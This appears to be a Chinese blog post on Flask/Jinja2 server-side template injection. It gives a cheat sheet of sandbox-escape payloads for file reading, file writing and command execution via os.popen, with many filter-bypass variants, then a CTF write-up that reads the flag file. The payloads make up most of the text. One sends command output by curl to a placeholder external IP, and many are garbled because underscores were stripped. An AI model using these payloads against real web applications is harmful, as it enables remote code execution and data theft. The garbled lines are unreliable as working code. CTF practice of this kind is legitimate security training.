青少年CTF-SSTI

Flash SSTI 利用与绕过

魔术方法

:::info
python沙箱逃逸还是离不开继承关系和子父类关系,在查看和使用类的继承,魔术方法起到了不可比拟的作用。
class 返回一个实例所属的类
mro 查看类继承的所有父类,直到object
subclasses() 获取一个类的子类,返回的是一个列表
bases 返回一个类直接所继承的类(元组形式)
init 类实例创建之后调用, 对当前对象的实例的一些初始化
globals 使用方式是 函数名.globals,返回一个当前空间下能使用的模块,方法和变量的字典,与func_globals等价
getattribute 当类被调用的时候,无条件进入此函数。
getattr 对象中不存在的属性时调用
dict 返回所有属性,包括属性,方法等
builtins 方法是作为默认初始模块出现的,可用于查看当前所有导入的内建函数
无法直接使用import导入模块,不过通过魔术方法和一些内置属性可以找到很多基类和子类,有些基类和子类是存在一些引用模块的,只要我们初始化这个类,再利用__globals__调用可利用的函数,就可以进行利用。
:::

沙箱逃匿流程

1.获取object类

python的object类中集成了很多的基础函数,我们想要调用的时候也是需要用object去操作的,主要是通过__mro__ 和 __bases__两种方式来创建。
mro 属性获取类的MRO(方法解析顺序),也就是继承关系。
().class.bases[0]
{}.class.bases[0]
[].class.bases[0]
‘’.class.bases[0] #python3
bases 属性可以获取上一层的继承关系,如果是多层继承则返回上一层的东西,可能有多个。
().class.mro[1]
{}.class.mro[1]
[].class.mro[1]
‘’.class.mro[1]#python3
‘’.class.mro[2]#python2

2.获取子类列表

然后通过object类的__subclasses__()方法获取所有的子类列表,查看可用的类。
().class.bases[0].subclasses()
若类中有file,考虑读写操作. (python2)
[].class.mro[1].subclasses()40.read()
[].class.mro[1].subclasses()40.write('xxx’)
(2)找到重载过的__init__类。
在获取初始化属性后,带wrapper的说明没有重载,寻找不带warpper的,因为wrapper是指这些函数并没有被重载,这时它们并不是function,不具有__globals__属性。

3.文件读取

python2
?name={{‘’.class.mro[2].subclasses()40.read()}}
‘’.class.mro[2].subclasses()[59].init.globals[‘builtins’]‘file’.read()
?name=‘’.class.mro[2].subclasses()[59].init.globals[‘builtins’]‘open’.read()
python3(无file,只能用open)
?name=‘’.class.mro[1].subclasses()[80].init.globals[‘builtins’]‘open’.read()
subclasses()[数字]在不同的python版本中类的位置序号可能不同,应根据具体的python环境修改为相应类的位置序号。

4. 文件写入

python2
?name={{‘’.class.mro[2].subclasses()40.write(‘test’)}}
‘’.class.mro[2].subclasses()[59].init.globals[‘builtins’]‘file’.write(‘test’)
?name=‘’.class.mro[2].subclasses()[59].init.globals[‘builtins’]‘file’.write(‘test’)

5. 命令执行

?name={{‘’.class.mro[2].subclasses()[59].init.globals[‘linecache’].dict[‘os’].popen(‘whoami’).read()}}
?name={{‘’.class.mro[2].subclasses()[59].init.globals[‘builtins’]import.popen(‘whoami’).read()}}

6.过滤绕过
过滤关键字

字符串拼接绕过
凡是以字符串形式作为参数的都可以使用拼接的形式来绕过特定关键字的检测。
?name={{‘’.class.mro[1].subclasses()[139].init.globals[‘buil’+'tins’]imp’+'ort.popen(‘who’+‘ami’).read()}}
单双引号绕过
?name={{‘’[‘class’].mro[1].subclasses()[139].init.globals[‘bui’'ltins’]impo’'rt.popen(‘who’‘ami’).read()}}
编码绕过
1.base64编码
python2下使用,python3没有decode方法
?name={{‘’.class.mro[1].subclasses()[139].init.globals[‘builtins’]‘X19pbXBvcnRfXw==’.decode(‘base64’).popen(‘whoami’).read()}}
2.Unicode编码绕过
?name={{‘’.class.mro[1].subclasses()[139].init.globals[‘builtins’]‘\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f’.popen(‘whoami’).read()}}
16进制编码绕过
?name={{‘’.class.mro[1].subclasses()[139].init.globals[‘builtins’]‘\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f’.popen(‘whoami’).read()}}
8进制编码绕过
?name={{‘’[‘\137\137\143\154\141\163\163\137\137’].mro[1].subclasses()[139].init.globals[‘builtins’]‘\137\137\151\155\160\157\162\164\137\137’.popen(‘whoami’).read()}}

过滤[]括号

getitem()绕过
使用getitem()方法输出序列属性中某个索引处的元素,相当于[]
?name={{‘’.class.mro[1].subclasses().getitem(139).init.globals.getitem(‘builtins’).getitem(‘import’)(‘os’).popen(‘whoami’).read()}}
点绕过
访问字典里的值有两种方法,一种是把相应的键放入方括号[]里来访问,一种就是用点.来访问。当方括号[]被过滤之后,还可以用点.的方式来访问
?name={{‘’.class.mro[1].subclasses()[139].init.globals.builtins.import(‘os’).popen(‘whoami’).read()}}

过滤引号

request对象绕过
request有两种形式,request.args和request.values,POST和GET传递的数据都可以被接收。
?name={{‘’.class.mro[1].subclasses()[139].init.globals.builtins.import(request.args.v1).popen(request.values.v2).read()}}&v1=os&v2=whoami
chr绕过
GET请求时,+号记得url编码,要不会被当作空格处理。
?name={% set chr=().class.mro[1].subclasses()[139].init.globals.builtins.chr%}{{‘’.class.mro[1].subclasses()[139].init.globals.builtins.import(chr(111)%2Bchr(115)).popen(chr(119)%2Bchr(104)%2Bchr(111)%2Bchr(97)%2Bchr(109)%2Bchr(105)).read()}}

过滤点

中括号[]绕过
?name={{‘’[‘class’][‘mro’][1]subclasses[139][‘init’][‘globals’][‘builtins’]‘eval’}}
|attr()绕过
|attr()为jinja2原生函数,是一个过滤器,它只查找属性获取并返回对象的属性的值,过滤器与变量用管道符号( | )分割.
?name={{()|attr(‘class’)|attr(‘base’)|attr(‘subclasses’)()|attr(‘getitem’)(139)|attr(‘init’)|attr(‘globals’)|attr(‘getitem’)(‘builtins’)|attr(‘getitem’)(‘eval’)(‘import(“os”).popen(“whoami”).read()’)}}

过滤_

request对象绕过
?name={{‘’[request.args.v1][request.args.v2][1]request.args.v3[139][request.args.v4][request.args.v5][request.args.v6]request.args.v7}}&v1=class&v2=mro&v3=subclasses&v4=init&v5=globals&v6=builtins&v7=eval&v8=import(“os”).popen(“whoami”).read()

过滤{{

{% if … %}1{% endif %}
使用 {% if … %}1{% endif %} 配合 os.popen 和 curl 将执行结果外带出来,不外带的话执行结果无回显。
{% if ‘’.class.base.subclasses()[139].init.globals[‘builtins’][‘eval’](‘import(“os”).popen(“curl http://xxx.xxx.xxx.xxx:12345/?i=whoami”).read()’) %}1{% endif %}
{%print(…)%}
{% print(‘’.class.base.subclasses()[139].init.globals[‘builtins’]‘eval’) %}

SSTI-青少年CTF

这个题目没有什么题目描述,只是说明了,题目来源:2023 SICTF,只能说更有利于查找wp吧
image.png
打开之后就是这个样子,查看源码,发现传入参数应该是SI
image.png
image.png
果不其然,应该是过滤关键字
image.png
经过fuzz测试发现应该是过滤了关键、{{ 还有 .
关键字可以使用 单双引号绕过或者字符串拼接
:::info
实例:[‘builtins’]
[‘buil’+'tins’]
[‘bui’'ltins’]
:::
{{ 可以使用 {%print(…)%} 或者 {% if … %}1{% endif %}
注意:使用 {% if … %}1{% endif %} 配合 os.popen 和 curl 将执行结果外带出来,不外带的话执行结果无回显。
. 可以使用 [] 绕过
:::info
实例:.class
[‘class’]
:::
1.还是先看看全部的子类
?SI={%print(“”[‘cla’'ss’][‘bas’'es’][0]subc’'lasses)%}
image.png
2.直接利用子类模块 <class ‘os._wrap_close’>
image.png
3.?SI={%print(“”[‘cla’'ss’][‘bas’'es’][0]subc’'lasses[132][‘in’'it’])%} 查看是否已经承载,只要不出现wrapper ,就是是被重载过的。
image.png
4.然后就可以使用全局变量中的popen的函数方法
?SI={%print(“”[‘cla’'ss’][‘bas’'es’][0]subc’'lasses[132][‘in’'it’][‘glob’'als’][‘pop’‘en’](‘ls /’).read())%}
image.png
4.查看f1ag 文件 ?SI={%print(“”[‘cla’'ss’][‘bas’'es’][0]subc’'lasses[132][‘in’'it’][‘glob’'als’][‘pop’‘en’](‘cat /f1ag’).read())%}
image.png

就这样,啾咪!

  • 26
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值